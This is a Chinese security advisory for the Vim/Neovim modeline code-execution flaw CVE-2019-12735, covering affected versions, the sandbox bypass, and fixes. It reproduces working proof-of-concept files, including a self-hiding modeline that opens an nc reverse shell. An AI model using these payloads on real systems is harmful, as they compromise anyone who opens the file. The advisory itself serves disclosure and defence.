Vim和Neovim任意代碼執行漏洞安全通告

發布時間 2019-06-06

漏洞編號和級別


CVE編號:CVE-2019-12735,危險級別:高危,CVSS分值:8.6


受影響的版本


Vim < 8.1.1365

Neovim < 0.3.6


漏洞概述


Vim是一款功能強大、高度可定制的文本編輯器。由于Vim在代碼補全、編譯及方便編程等方面非常強大,因此在程序員中被廣泛使用,成為類Unix系統用戶最喜歡的文本編輯器之一。


文本編輯器Vim/Neovim存在嚴重漏洞,通過打開特別構造的文本文件,模式行選項未被禁用的話,就可導致Vim/Neovim任意代碼執行漏洞。漏洞成因是模式行中僅允許選項子集,如果選項的值包含一個表達式,就可以在沙箱中運行。:source! 命令可繞過沙箱,它可以從既定文件中讀取并執行命令,因此可以輕松構建在沙箱外允許運行代碼的模式行。


漏洞驗證


POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md。


第一種:
測試版本如下:
 

1、創建poc.txt


:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


2、確保未禁用modeline選項(:set modeline)


使用如下命令查看命令位置


 
如下:
 

 



3、在vim中打開該txt


vim poc.txt
然后系統會執行 uname -a&&whoami

 


第二種,創建反彈shell


該PoC描述了一種真實的攻擊方法,其中一旦用戶打開文件就啟動反彈shell。 為了隱藏攻擊,文件將在打開時立即重寫。 

此外,當使用cat打印內容時,PoC使用終端轉義序列來隱藏命令行。(而使用cat -v可以顯示實際內容。)


shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

 



修復建議



升級到Vim 8.1.1365、Neovim 0.3.6或以上版本,此外建議禁用模式行,使用securemodelines插件。


Vim補丁8.1.1365: 

https://github.com/vim/vim/commit/5357552


Neovim補?。ㄔ趘0.3.6中發布):
https://github.com/neovim/neovim/pull/10082

https://github.com/neovim/neovim/releases/tag/v0.3.6


參考鏈接


https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md